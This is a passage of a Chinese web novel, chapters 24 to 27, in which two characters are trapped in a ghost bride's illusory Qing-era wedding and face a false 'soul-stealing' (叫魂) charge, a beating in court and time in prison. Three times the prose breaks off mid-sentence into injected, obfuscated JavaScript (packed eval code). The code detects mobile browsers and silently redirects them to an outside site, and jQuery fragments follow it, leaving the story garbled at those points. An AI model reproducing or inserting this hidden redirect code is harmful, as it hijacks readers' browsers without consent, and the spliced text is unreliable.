她用朱砂笔在镜子上画符,不仅如此,她在郁之家有镜子的地方都画了,到她那个房门口时,刚一走近就听到里面传来红头的啜泣声,“然后怎么样了。” “……” “你房间不画吗?” “…等会再说吧。” 等他们开完茶话会。 两人重新回到郁之房间,周遭依旧没有任何变化,应该是有阿姨打扫的缘故,郁之房里干净又整洁,还点了很好闻的熏香,拾冬问最近还有没有做梦。 “之后做了一次就再也没梦到了。” “梦到什么了?” 郁之坐在沙发上,支着头回想:“我梦到他们拉着我成亲,就电视剧古代婚礼那种,敲锣打鼓吵死了,给我穿的那褂子也不合身,我就发脾气,说这不是我想要的婚礼,你们爱谁谁结。然后一下子什么声音都没了,媒婆很阴森问我想要什么婚礼,我就如实说了,后来他们要我回去,我醒来之后就再也没做过梦了。”郁之茫然又天真地问,“这到底是什么意思?” “给你准备梦中的婚礼。”拾冬无语感叹,“他们人还怪好的。” 郁之:“?” 虽然猜不出拾冬话里的真假,但这阵子梦境的反复无常,还有刚刚切实的冲击带给郁之从未有过的疲惫感,“有没有什么办法?” “鬼不会无缘无故找上门,你想想五一那几天你干嘛了。” 郁之依旧支着头,看了看坐在对面的拾冬,吞吞吐吐地说:“要实在说做了什么特别的事,我..买了个礼物送你。” “……” “什么东西。” 郁之起身从书桌抽屉里拿出一个盒子,在拾冬面前打开,“是大阿福,听说是百年前的老物件。”见拾冬没说话,他接着补充,“上次佛珠你不要,我就想着女生可能喜欢可爱的,正巧五一看展,听说这大阿福能驱邪纳福,模样也可爱,我就买了。” 不过,他一直没机会送出去。 拾冬垂眸看向盒子里的泥塑小人。 她不了解大阿福的来历背景,唯一有印象是美术课本上的图片 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房间窗帘的避光性实在优越,即使适应了黑暗,拾冬也还是什么都看不到,四周静到能听见后院的水流声,她刚一挪脚,一双手紧紧攀上手臂。 “去哪。”郁之怕出声引来鬼,也顾不上男女授受不亲,在拾冬手心写起字来。 两人一直蹲着,拾冬脚早麻了,她扯着郁之起来,这时,她听到“咚”一声响,好像是木棍杵到地上发出的动静,接着凌乱步子来来往往,夹杂着说话声, “新郎官人呢?” “明天就要成亲了,这可怎么办。” “你们赶紧找啊,愣着干什么。” “误了时辰,别怪姑娘责罚你们。” 脚步声更乱了,时不时有东西擦过自己肩膀,看来只要没光,他们就不能从镜面上看到他们。 两人僵硬靠在一起。 “嘀--” 宅外汽车鸣笛响过后,房间突然亮了。 几十双空洞眼睛齐刷刷看向沙发旁的两人。 “对不起...我忘了房里有感应灯。” 郁之你这个大白痴! “新郎官在那里,快,抓住他!” 两人往门口奔去,没两步拾冬被身后的力扯了回去,她一回头,媒婆已经抱住了郁之的腰,大嚷着“别让他跑了,抓住他!” 身后的鬼源源不断涌上来。 拾冬手心一空,郁之主动把他们牵着的手松开了。 “愣着干什么,快跑啊!” * 郁之从镂空雕花的红木床上醒来,身上穿着十分合身的褂子,胸口还别了朵红绸花。 什么鬼。 他一边摘下胸口的红绸一边在房间踱步,房里的中式布局,自己只在电视剧里见过。 现在该怎么办? 总不能真的跟鬼结婚。 郁之想出去,可窗外走来走去的人影让他望而却步。 “吱。” 门开了。 郁之急忙躲在床后,借着床幔遮挡偷偷探出头看是谁,只一眼,他便冲出去责问:“你怎么来了!” 来人对上他的眼,照旧是漫不经心的口吻, “来参观一下你梦中的婚礼。” 这一刻,郁之突然有点想看肖盛借的那本书了。 25. 第 25 章 “现在怎么办,我们怎么出去?他们到底是什么人?你怎么进来的?还有啊...” “闭嘴。” 郁之乖巧闭麦。 其实,拾冬也不知道怎么办。 当时她犹豫了很久,眼看着郁之要从镜子里消失,抓着最后一人的衣角跟了进来。 再怎么说,他也是甲方。 只是眼下情形,她发现跟进来也没用。 门外由远及近响起脚步声,有人来了。 两人一对视,拾冬撇下郁之率先躲进了衣柜, 郁之:…… 门吱呀一声开了,进来两个小厮模样的人,看着年级不大,顶多十六七岁,见郁之把红绸花摘了,着急忙慌给他戴好,嘴里念念叨叨“少爷,都这个时候了怎么还拖拖拉拉,快点吧,新娘子花轿到了,你不是天天念叨想娶祝姑娘吗..” 郁之嘴比脑子转得快,急忙否认三连:“我不是,我没有,别瞎说。” 俩小厮:“……” 绸花戴好,也不管浑身上下写满拒绝的郁之有多不情愿,两人合力把他架出了门。 “我不娶,我不结婚,你们这些封建余孽,这是包办婚姻懂不懂..放开我...” “乙方救我!” 藏在衣柜里的拾冬:“……” 拾冬在衣柜里等了会儿,见外面没动静这才从衣柜出来,听着外面鞭炮齐鸣,锣鼓喧天的动静,看来是真打算要郁之当这个新郎官。她低头看了看自己的衣服,这么出去一眼就被认出,于是从衣柜里随手套了件褂子,把头发塞进瓜皮帽里,小心翼翼出了门。 周围人来来往往,下人脚不沾地忙活着,宅子里挂满了喜庆的红布,门里门外一声高过一声的恭喜祝贺,拾冬宛如置身某个片场。 这时一声“行庙见礼,奏乐!”的雄厚声音传来,唢呐鞭炮同时炸开,听到这动静,身边不少仆人都纷纷往同一方向走,拾冬猜想应该是去拜堂的地方,于是混在人群里跟着一起去。 果不其然,她在人堆里看到了披着红盖头的新娘子以及新郎官。 人被控制了,嘴里嗯嗯啊啊就是开不了声。 难怪他这么安静。 拾冬不动声色往前挪,周围人吵吵嚷嚷,不管是说话还是精神面貌看着就和普通人一样,有那么一瞬,她以为这就是一场仿中式的普通婚礼,当然,前提新郎官不是甲方的话。 “新人皆跪,上香。” 郁之倔强不肯跪,旁边新娘一脚踹在他膝盖窝,郁之身不由己“扑通”一声跪了下去。 众人和拾冬:“……” “一上香,二上香..”主香公公声音嘹亮喊着,就在他要进行下一步时,门外突然涌进一队官兵,有人高呼“且慢。” 难道是抢亲? 拾冬头次领会到了八卦的趣味,想着等会万一打起来她能趁乱带郁之跑出去,于是挤到了人群前面。 “官爷,这大喜日子前来所为何事。”主位上一矍铄老人走下堂,表情忐忑询问。 “我们接到报案,速速捉拿柯晋元,柯晋元在何处?”官差不理会老人的询问,神情严肃冲堂上喊。 刚才的喜庆一扫而空,人群开始不安骚动,这时身后不知谁推了拾冬一把,旁边人指着拾冬喊起来 “柯晋元在这。” “对,这就是柯公子..” “对,就是他..” 拾冬刚想开口解释,却发现自己和郁之一样发不了声,这时上来两个官兵不由分说把自己架出了门。 “代他死。” 耳边擦过这句话,拾冬回头看到满屋子的人,他们神情麻木,眼神空洞,泛着诡异微笑,嘴里念念有词“柯公子走好...” 最中间的新娘喜帕撩开,璀璨珠帘下,她静静望着自己不发一言。 柯府大门缓缓合上。 官兵一走,门内喜庆气氛顿时恢复,正当主香公公准备接着唱词时,一言不发的新郎官起身推翻供台,噼里啪啷声响中,新郎扯下胸前红绸布扔在地上, “把人放了!” 在拜堂之前他从别家送来的祝帖上无意瞥到了今天两位新人的名字,新郎柯晋元,新娘祝婉儿。在得知官兵要捉拿柯晋元,他刚迫不及待想冲出去,结果被人拦住,眼睁睁看着官兵带走了拾冬。 “新郎官莫要闹脾气,时辰可耽误不得。” 媒婆上前规劝,被郁之一脚踢开,“你们在这自欺欺人办什么婚礼,柯晋元在哪?要官兵把人还回来!” 窃窃私语声不断,但谁也没有开腔,众人的目光纷纷看向披着喜盖头的新娘,这时,新娘揭下盖头,冲怒不可遏的郁之淡淡道:“想见她我带你去便是。” * “威....武....” 在一声声威武中,拾冬被押解到朝堂,堂上知县一拍惊堂木呵斥道:“大胆柯晋元,见到本官为何不跪。” “我谁都不跪。”拾冬刚说完,身后一衙役挥起手中的水火棍,一棍下去,膝盖一阵剧痛,人猝不及防朝前倾倒。 即使拾冬知道这是鬼新娘的幻术,可这种疼痛太真实了,她咬牙撑在地上,索性坐在地上。 “....犯人柯晋元,接到民众举报,你前天派人潜入吴府,剪了吴家小儿发辫,此事是否属实。” 拾冬不语,阵阵疼痛从膝盖传来,她在心里疯狂骂郁之。 知县见人不认,秉着有理有据的原则,冲堂下喊:“带证人。” 进来的正是刚刚给他带绸花的其中一个小厮,他唯唯诺诺跪在地上先是给县令磕了头,这才说起话来:“大人,我叫福满,是柯少爷的随从,前日少爷突然找我,说要我潜进吴家剪一撮吴家小少爷的发辫,我原本是不敢做的,可是少爷说我不去就要把我赶走,我从小没了爹娘,把我赶出去我能去哪,所以我才....大人,我也是迫不得已啊...” 知县一听,惊堂木又是一拍,“犯人柯晋元,你可认罪?” “不认。”拾冬轻飘飘否认。 这头郁之在堂上跳脚破口大骂:“放屁,你在这胡说八道,这压根不是柯晋元你们看不出来吗?” 可没一个人看得到他,包括拾冬。 “别白费力气了,他们眼前的人就是柯晋元。”新娘祝婉儿指了指拾冬身上的衣服,“她穿的是柯晋元的袍子。” 郁之灵机一动: “你的意思是谁穿那袍子谁就是柯晋元?” 这话让祝婉儿警觉,“你想干什么?” “我去把她衣服脱下来。” 郁之说完要去扒人衣服,祝婉儿施法定住,在心里埋怨起媒婆找了这么一个傻子,当初还说他们八字合。 “我要她是她就是,和衣服无关,明白吗?” 郁之正要抓狂,就见两名衙役上前押倒拾冬,第三名衙役举起手中水火棍,他眼瞳一缩,还没来得及制止,手腕粗的棍子狠狠挥了下去,发出一声闷响。 郁之看到拾冬疼到发白的侧脸。 他冲上前抓住木棍,可无论怎么伸手怎么大吼命令衙役停下,堂上的人看不见也听不见,棍棒一下下穿过他身体落在拾冬身上。 “你到底想干什么?” “结婚是吗?可以,让他们住手,我结,现在就去..走啊!” 祝婉儿依旧是那副事不关己模样,望着六神无主的郁之,朱唇轻启,淡道:“可惜啊,我不想结了。” 二十棍打到一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673110|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,旁边衙役回禀道“犯人晕过去了。” 堂上知县嫌弃一撇嘴,想起后院的美妾,一捻胡须说道:“读书人身子骨就是弱,既然晕过去了,那就择日再审,退堂。” “威....武....” 衙役把昏迷的人拖下堂,郁之想跟上去,眼前一切却渐渐模糊,再一眨眼,他回到了最开始醒来的房间,外面天色已暗,门外的人在热闹的喝酒畅聊。 郁之小跑出去,路过的人无一不喜气洋洋冲他贺喜,他在宅子里无头苍蝇似的找大门出口, “怎么出去?” “柯公子恭喜恭喜啊。” “我问你怎么出去!” “祝柯公子早生贵子,百年好合。” “你是不是听不懂人话!” “恭喜恭喜...” 宅子没有出口,无论他走到哪里问谁,他们除了机械拱手说恭喜,没有一个人回答他的问题。 郁之重新回到了新房,祝婉儿已经换下喜服,坐在桌边端庄抿茶,见他一脸怒气进来并不意外,发表自己的不满:“你和云璟并不像。” 话音刚落,一个杯子直直砸过来,祝婉儿偏头躲过,郁之已经在暴怒边缘,“我不想再猜来猜去,你到底想怎么样才能放了我们?” “你以为刚在堂上那些人都是我控制的?” “不然是谁?” 祝婉儿摇头否认:“不是我。” 郁之明显不信。 “你去过官府监牢吗?很冷,很臭,臭虫会爬到脸上,身上,你觉得那姑娘受得了吗?”祝婉儿如愿看到对方怨恨的眼神,捂着帕子笑出声,“看我有何用,你不想着去把她救出来,在这摔杯子发脾气,看来那姑娘就不该为了你进来。” “生人气味一闻便知,真当我们什么都不知道?” 郁之掌心掐出深深指甲印,片刻沉默后,他坐在祝婉儿对面,问:“柯晋元为什么会被抓?” * 拾冬是被冻醒的。 整个监牢像一个储满冰水的池子,她浸在里面随便吸一口气都能呛透肺腑,冻得人牙关打颤。 只是很快,身上像盖上一床暖烘烘的棉被般,砭骨寒意慢慢退去,一睁眼,看到了郁之。 刚在受刑的时候,她已经想了108招弄死郁之的法子,可当下她顾不了那么多,决定先弄死再说。 拾冬用手上铁链勒住郁之脖子。 还沉浸在我来给你送温暖你感动吗的郁之:? “钱退你,我们两清,我要回去。” 拾冬此时深刻明白,这件事不是自己能解决的,身上的伤,让她无法再逞强。 她虽然平时和鬼打交道,但多数是孟永经过筛选的,帮鬼完成生前夙愿,赚他们亲属的钱,更很况,她还有刘友保护,如此诡异的阵仗这还是头次遇到。 她不想为了眼前这个人连命都不要。 “我会救你...出去的。”郁之被勒得脖子通红,话说得断断续续。 “我不需要你救,我会找知县说明情况。”拾冬从他怀里挣开忍着伤痛坐到一边。 “你现在出不去,你穿了柯晋元的袍子,所有人都认为你是柯晋元。”郁之怀里一空,看她一脸抗拒的模样,内心一阵失落,“我会想办法救你,你等我两天。” “我不相信你。”说完问了刚在朝堂上自己问过的问题:“你的意思是谁穿喜服谁就是柯晋元。” “…你想干什么?”郁之害怕往后退。 “衣服给你,我出去。反正女鬼会救你。” 拾冬说完就要脱下身上的褂子,监牢里响起第三个人声,祝婉儿捂着口鼻,轻飘飘拒绝, “你们两个我都不救。” 26. 第 26 章 门砰一声摔上,祝婉儿坐在院子里讥讽一笑。 周围人依旧在机械道喜祝贺,祝婉儿手轻轻一挥,刚还一派热闹的景象顿时消失,院里只剩一地枯枝败叶。 都是假的。 祝婉儿给自己斟了杯酒。 郁之坐在屋内,拾冬拒绝自己的话一遍遍浮现。 “我不需要你救。” “钱还你我们两清。” “我不相信你。” 心里说不上来的失落,但眼下他有更要紧的事做。 晚上时候,他从祝婉儿口中得知了这件事的始末。 一百多年前,一种名为“叫魂”的妖术在全国蔓延,据说会此种术法的人可通过受害人毛发或名字操控受害人,使之生病,严重者可令他人死亡,一时之间,人人自危,不少人怕被叫魂,纷纷把辫子盘起,但即使如此,还是有不少自称中了妖术的人。 可实际上, “哪里有什么叫魂术,不过是当时民间纠纷衍生出来的谣言罢了,偏偏被无知小人当了真,三人成虎,渐渐的,所有人就都信了。” 各地衙门每天都能接到不少报案,说自己被人剪了辫子,求县令做主,其中不乏有借题发挥的。 “你的意思柯晋元是被吴家陷害的?” “你想让我为柯晋元平反?” 连续问了两个问题都没得到回复的郁之,一想到这事的复杂性,嘴里嘟嘟囔囔,“我专业又不是法学..” 话刚说完,周围布景像拼图般,被抽走重组,等回过神,他从原来亮堂堂张贴喜字的新房传送到了一间看着像祠堂的地方,供台上放着一排排瓷白罐,在祝婉儿出现后,所有盖子开始震动,郁之感觉里面有东西要冲出来,他往后退了一步,问这些是什么? “我的食物。”祝婉儿嫌吵,手在离她最近的罐子上敲了两下,顿时,周遭安静了,她在这诡异气氛中接着开口,“给你三天时间,三天内如果你能把柯晋元从牢里救出来,我自会放你们回去。” “如果不能呢?” “那你们就会和这些东西一样。” “叮...” 祝婉儿指尖叩响瓷罐。 * 郁之第二天一大早便去出门打探消息。 他得先找到那个胡说八道的小厮,可一问府里的人,大家都说从昨晚就没看到他了。郁之不死心出去找,大街上到处都是人,还有不少蓬头垢面求打赏的乞丐,找了好几条街后,他意识到这样无头苍蝇似的找不啻于大海捞针,他决定去吴家看看。 吉丰当地以丝绸闻名,其中吴家和柯家最为出名。 吴家染织技术了得,而柯家有当地最好的绣娘,祝婉儿。 两家表面上相安无事,但实际这些年一直在默默较劲。去年县令为了巴结当地知府,得知知府母亲好刺绣,特命祝婉儿三天之内赶制出一副群仙祝寿图,收到贺礼的知府母亲十分欣赏祝婉儿的刺绣技术,专门来过绣坊一次,连夸祝婉儿绣工了得,这话一出,柯家生意愈发好了。 叫魂一事,看来是吴家陷害。 郁之刚到吴府,大门口的下人像是早就做好了准备,一副为难的模样挡在门口说:“祝姑娘,嗐,瞧我这嘴,柯少夫人,我家老爷今天身子不适,不见客。” 祝姑娘? 柯少夫人? 郁之愣了两秒神想起来,为了方便行事,他现在是祝婉儿的模样。 可脸是祝婉儿,人可不是,他大喇喇把下人推开,径直往里走,“正好,我会看病,你带我进去。” 这... 两个下人目瞪口呆,虽然平日他们没和祝婉儿接触过,但都听说祝婉儿温柔贤淑,这如今一看... 眼看祝婉儿已经走进府内,不顾在场下人打量的目光,人大喊着“吴老爷,你在哪,我有事找你,出来啊,我知道你在家,你别躲在里面不出声...出来啊...” 祝婉儿这一番超出常理的操作打的所有人措手不及,下人手忙脚乱上前拦, “少夫人,我家老爷真是身子不适需要静养,您请回吧。” “是啊,改天再来,您这样子硬闯不合规矩啊...” “阿峰,阿康你们下去吧,我来。” 正当所有人手足无措时,一身着藏蓝锦袍的男子从厅里走出来,冲两个下人挥了挥手,两人“是”了声,十分有眼力劲退下了。 “婉儿,是否是为晋元兄的事而来。”男子把祝婉儿带至正堂,下人急忙奉上茶和点心,“这是满记的桂花酥,我记得你爱吃。” 男人最懂男人。 郁之见这人第一眼就察觉到他望向自己的眼神不一般,虽然他现在是祝婉儿的脸,但被一个男人这么注视,他有点恶心。 祝婉儿生吞了一块桂花酥。 吴瀚:…… “既然来了,我也不兜圈子,你们说柯晋元派人剪你家小孩头发,全是你们一面之词,随便买通个小厮就能当证人的话,我现在就出钱买通你家小厮说你们剪了我的头发,是不是一样可以把你们抓起来。” 吴瀚哑口无言。 就在郁之沉浸在自己有理有据的推理中洋洋得意时,吴瀚的手突然覆上自己手背, 郁之:?! “你这是干什么?男女授受不亲。”祝婉儿忙不迭甩开,脸上的嫌弃之色溢于言表。 吴瀚心更酸了。 没想到昨日的风波竟让婉儿受了如此大的刺激,导致人性情大变。 “婉儿,我和晋元兄多年好友,这事若只是两家纠纷,我定当义不容辞出面,可小喜到如今都还高烧不退,我娘也急得病倒了,我实在开不了这个口...”吴瀚痛心疾首捶了一下桌子,“晋元兄怎么能练如此邪术,小喜还是个孩子啊。” 这装得有模有样。 郁之低头喝了口茶,这么明目张胆过来,果然什么都问不出,又吃了两块桂花酥后,他起身告辞。 “婉儿...”在祝婉儿起身告辞,出门之际,吴瀚终于忍不住握住了姑娘纤细手腕,肌肤相贴的触感让他心神荡漾。 吴瀚是不甘的,柯晋元明知道自己心悦祝婉儿,却不识好歹横刀夺爱。 如今看祝婉儿为柯晋元如此奔波,他终于忍不住说出心里话,“你与晋元兄拜堂仪式未成,你还有选择的机会。” 却见祝婉儿毅然甩开了自己的手,上下打量了几眼,说:“我不喜欢男的。” 说完翩然离去。 “婉儿,我认识刘老郎中,我带你去瞧瞧吧!” 郁之不理会吴瀚隔老远的敦敦教诲,边走边想解决办法。 小厮跑了,吴家不肯说实话,那现在只能再去一趟衙门了,他跑到衙门口击鼓鸣冤。 * 即使是白天,监牢里却还是昏暗一片,恶臭汹涌的牢房里除了拾冬,还有关押着十来个犯人,他们或坐或躺,时不时传来痛苦呻吟声,孱弱呼救,有个老人想喝口水,换来的却是衙役粗鲁的吼叫声“吵什么吵,都老实点..想喝水给银子,给银子老子大发慈悲给你撒泡尿...” 旁边看守的衙役不约而同笑了起来。 昨晚听郁之说了这事缘由后,拾冬思考了一晚上想出了解决办法。既然叫魂一事是吴家污蔑,且没有致人死地一说,只要她能出去把吴家小儿找出来,证明他没事,这件事就能解决了。 拾冬提出要见知县,当差的官员一边恶声恶气斥责“大人是你想见就能见吗?”一边却三指摩擦,冲自己眼神暗示。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687784|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >意思很明显,给钱。 可自己哪来的钱。 等是她最厌恶的事,更何况是等别人来救。 “你去跟知县说,我认罪。” 这应该是见知县的唯一说辞了。 果不其然,没一会儿外面传来声音,“带柯晋元上堂。” 拾冬从地上起身,临走前,把昨晚未动的米粥放在刚说想喝水的老伯旁边,看到他颤抖捧着碗狼吞虎咽得样子,巨大的割裂感实实在在涌了上来。 这就是几百年前部分人的生活吗? 拾冬戴着沉重的镣铐上堂,刚一走近便看到祝婉儿叉腰冲县令大声嚷嚷,“我都跟你说了是吴家人在使绊子,你怎么就不信我,抓人讲究证据,你不能凭别人一面之词就断案,你懂不懂法啊?你要是在21世纪就你这样还想当公务员,你真是生在了好时候...” 县令气得一直猛拍惊堂木,“住口,跪下,跪下!”见柯晋元上了堂,转而问道,“下面来报,你要认罪,是否属实?” 郁之满脸震惊回头看她。 “你承认你派人剪了吴家小儿发辫练邪术?”县令不确定反问一遍。 这昨天还一副宁死不屈的样子,今天怎么说变就变,县令用他为数不多的智慧猜想其中一定有诈。 拾冬正要说话,堂外跌跌撞撞奔进一老妇,跪下就开始嚎啕大哭。 “堂下为何人?” 老妇捂着手帕哭的涕泗横流,口条却异常清晰,自称是吴家小儿的乳娘,指着柯晋元哭天抢地: “我那可怜的少爷今天早上没了,没了啊...一定是他那邪术在作祟,我那可怜的少爷,他才不到十一岁,就这么没了..大人你可要为我们吴家做主啊...” 吴家小儿死了? 郁之大为震惊,上午去吴家,他家一点要办丧事的迹象都没有,怎么说死就死了。 县令听完乳娘的控诉,看向柯晋元一拍惊堂木,发问:“柯晋元,你可认罪!” 柯晋元:“我再想想。” 县令:…… 吴家小儿一死,这事就变复杂了,她要认罪,不就正坐实了柯晋元叫魂致死的罪名。 那现在怎么办? 唯一行得通的办法没了。 “你们吴家到底在搞什么鬼,人怎么说死就死了,我上午去的时候你家有半点死人的样子吗?还有两个人在斗蛐蛐别以为我没看见..” 知县露出和吴瀚一样惊悚的表情,都一致认为祝婉儿得了失心疯。 拾冬又一次被押回监牢。 * 郁之回到柯宅时,祝婉儿正巧从昨日的祠堂出来,看他一副失魂落魄的模样,回头看了看供台,琢磨到时该把他摆到哪里。 郁之没回房,坐在院外的石凳上,愣愣的,一言不发,连祝婉儿走到跟前都没察觉。 “看来没想到什么好法子。” 他回神看了眼祝婉儿。 刚才拾冬被押走前,他趁机上去想安慰她两句,可拾冬一个眼神都没给,就好像他不存在,那个漠视的表情让他明白了,拾冬从一开始就没期待过自己。 “我可以任你处置,能不能把她放了。” 刚看他那模样,祝婉儿就已经猜到了这种走向。 这人啊,没本事就算了,到死还要说这种话自我感动,祝婉儿感到可笑。 “难怪那姑娘不信你,换成我,我也不信。” 祝婉儿的话刺激到了郁之,他腾一下站起来为自己辩解,“该做的我都做了,既然柯晋元是你丈夫,那你自己去救啊,你去啊。” “我去了。” 祝婉儿直直对上郁之的眼,那双眼里的不甘和痛楚,郁之看得明明白白, 我去了。 27. 第 27 章 “又死了一个。” “啧,这大清早真晦气,赶紧找人抬出去!” 锁链哐擦落地,听到响动的拾冬被迫睁开了眼。人还恍惚着,刺鼻的酸腐味便直直冲进鼻子,牢房一天到头不见天日,摇摇欲晃的烛火使得她分不清如今是白是夜。朦胧视线中进来两个狱卒,像拖条死狗般把离她不远的人拖了出去。 是那天央求狱卒给口水喝的老伯。 她靠着冰冷墙面,揉了揉睡僵的脖颈,牢房里还躺着七八个人,身上盖着完全起不到任何保暖作用的稻草,看样子都熬不过这个冬天。 但是,我要活着。 拾冬摸到身后的陶瓷碎片。 郁之一夜未睡,第二天天还未亮独自出了门。 祝婉儿早就不需要睡眠,见他出门也没问去哪,反正这两天随他折腾,她只要结果。 她来到祠堂门口,手刚碰上门框,秀眉一蹙,一转身人便到了府衙大牢,居高临下看向牢里的拾冬,她正不断划着柯晋元的喜袍,有几处地方都开了口子 “你大胆!” 祝婉儿火气顿涌,反手推开拾冬,拾冬头猛一下磕在墙上,咬牙忍了十几秒才开腔:“我要跟你谈谈。” 拾冬最讨厌没结果的等。 昨天吴家小儿的死加剧了这件事的复杂性,既然无法从祝婉儿这场游戏中全身而退,那她也不要做背景板的NPC,得获得主动权。 人在大牢她无法和外界联系,那就赌祝婉儿能从柯晋元的衣服中感应到自己。 “你这样我们还有谈的必要吗?”祝婉儿复原好柯晋元喜袍后,眼里没有半分温度地警告,“你要想死我现在就可以成全你,但是你不准碰云璟的东西。” “放我出去,我自己去找证据。” "怎么找?去找吴家查明真相,还是找知县鸣冤?你想到的这些他都做了。" 拾冬不语。 “这么不相信他?” “我谁也不信。” “你真可怜。” 拾冬刻意忽略胸口涌起的不悦,盯着面前的祝婉儿,“放我出去,我有办法。” “什么办法?” “你先放我出去。” 拾冬的神情太过坚定,祝婉儿不禁侧目,正要开口,从牢房外由远及近传来叫嚷声。 “你们放开我,抓我干什么,吴家人有问题你们看不出来吗?家里死人了一块白布都没有,谁家孙子死了是这样的,放开我!” 牢里的两人无言对视,不一会儿,牢门打开,狱卒粗鲁把人扔进来,长着祝婉儿脸的郁之摔在地上,发出一声敦实闷响。 “你怎么在这里?期限还没到!”郁之余光看到祝婉儿,一股脑爬起来挡住拾冬。 “看来你说得没错。”祝婉儿微微侧身对上拾冬波澜不惊的脸,笑得意味深长。 “什么没错,你们说什么了?”郁之一脸好奇低头问拾冬。 拾冬不耐把头别过不想搭腔。 “说吧,你怎么进来的?” 郁之盘腿一坐,声情并茂讲述前因后果。 他想了一晚上都觉得吴家人不对劲,孙子死了半点难过样子都没有,他怀疑吴家小儿根本没死,于是他趁着天还没亮偷偷潜进吴家,只要找到小喜就能证明吴家在说谎。 “我刚到吴家就看到吴老太大清早备马车要出门,我就躲到马车后面准备跟过去,结果还没出发就被马夫抓到把我送官了。” “吴家肯定有问题,谁大清早出门!”郁之梗着脖子据理力争。 “吴老夫人每月初一都要去寺庙礼佛,大清早出门并不奇怪。” 郁之刚还挺直的背垮了下去。 “看来你们要提前结束了。”祝婉儿对这个结局并不意外,“有什么要说的吗?”她看向一脸不服输的拾冬。 “我说了我有办法,你放我出去再说。” “我把你放走了你跑了怎么办。” “这是你的幻境,我能跑到哪里去,更何况你的新郎不是在这吗?”拾冬指了指一脸状况外的郁之。 抱歉,不太想要了。 祝婉儿嫌弃瞥了眼郁之。 “我要跟着你。”郁之虽然没听懂她们话里话外的嫌弃,但还是抓住重点,对着拾冬一脸忠诚。 “我不要。”拾冬不耐烦翻了个白眼。 “我不会拖累你。” “这话你自己信吗?” “我是认真的。” “我说不要听不懂吗?” “我不管..” 拾冬不想和他做无意义的拉扯,转向置身事外的祝婉儿,“牢里很冷,想来柯晋元在这受了不少苦。” 祝婉儿神色一凛,回望过来。 “你布置幻境,要我们互相自救,不过是想完成当初你没有办法救回柯晋元的心愿罢了,次次失望的滋味不好受吧,你..” “住口!” 拾冬的头狠狠磕在墙面,脖颈的手越收越紧,她盯着恼羞成怒的祝婉儿,艰难吞咽,“放我出去,我有办法。” “祝婉儿,你能救他。” 大口氧气钻进鼻子,拾冬偏头咳嗽,郁之一脸紧张拍着她的背帮忙顺气。 片刻后,门吱呀一声开了。 “快走快走。”郁之见门开了,迫不及待拉着拾冬要走。 “明日酉时。” 祝婉儿背对他们站着,看不清表情。 “酉时是几点啊?” 拾冬恶狠狠翻了个白眼。 * 拾冬一出府衙,便把郁之支开,自己单独行动。 穿过熙熙攘攘人群,不远处的面摊飘来热乎乎香气,她竟有点想吃,可眼下,自己身无分文。 祝婉儿的幻境布置得极为巧妙,她在人群中观察了许久竟找不出一丝能逃出去的破绽。 看来只能想法子救人了。 昨晚睡不着,拾冬从快死的老伯口中得知,他是被吴家人设计入狱的。 “吴家小喜是这一块出了名的小霸王,附近人都叮嘱自家孩子别去招惹他,五六天前我孙子铁蛋不知什么原因被小喜揍了,吴家有钱有势,我们这种平头百姓只有自认哑巴亏,没成想当天夜里,铁蛋突然吐血,第二天...就去了,这是被小喜打死的啊!我气不过去找吴家人理论,被下人轰了出来,上衙门击鼓鸣冤,没成想,吴家人栽赃陷害我偷他家金子,我百口莫辩...” 浑浊的眼泪从董大凹陷的眼里流出,那晚他抱着铁蛋一家接一家敲大夫的门,不是没人应门,就是隔着门缝潦草一瞥说“没救了。” 铁蛋是在他怀里去的,疼到最后那孩子连哭的力气都没了,就这么断了气,董大脸上的汗结成冰霜,即便知道那孩子已经断气,董大还是把他抱得紧紧的,蹒跚走进清晨大雾里。 “铁蛋,咱们..回家。” “你跟我说这个干什么,我又不能给你翻案。”拾冬静静听完后捶了捶快冻僵的腿,“我自身都难保。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690129|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 董大未料到向来温良的柯公子会说出如此凉薄的话,但转念想到如今处境,长叹一声,身上的疮口又疼又痒,知县昨日为逼他认罪对他用刑,自己的身子骨自己最清楚,他要死了,早点去找铁蛋也好,只是柯公子平日乐善好施,他想尽自己绵薄之力救他。 “柯公子,我知道你不会叫魂,小喜不是你害死的,小喜他是得怪病死的,最近镇上流传一种怪病..死了很多人..” 铁蛋死后,董大悲痛欲绝去找吴家人理论,被下人扔出来时,听到俩下人嘀咕, “这老头的孙子也和小公子接触过,我们不会有事吧。” “赶紧回去把衣裳换了,那怪病听说邪得很,指不定会传染人,快快..” 怪病? 传染? 拾冬用自己少得可怜的历史常识能想到的只有天花。 可是... 这人来人往的街道,也不像有传染病的模样。 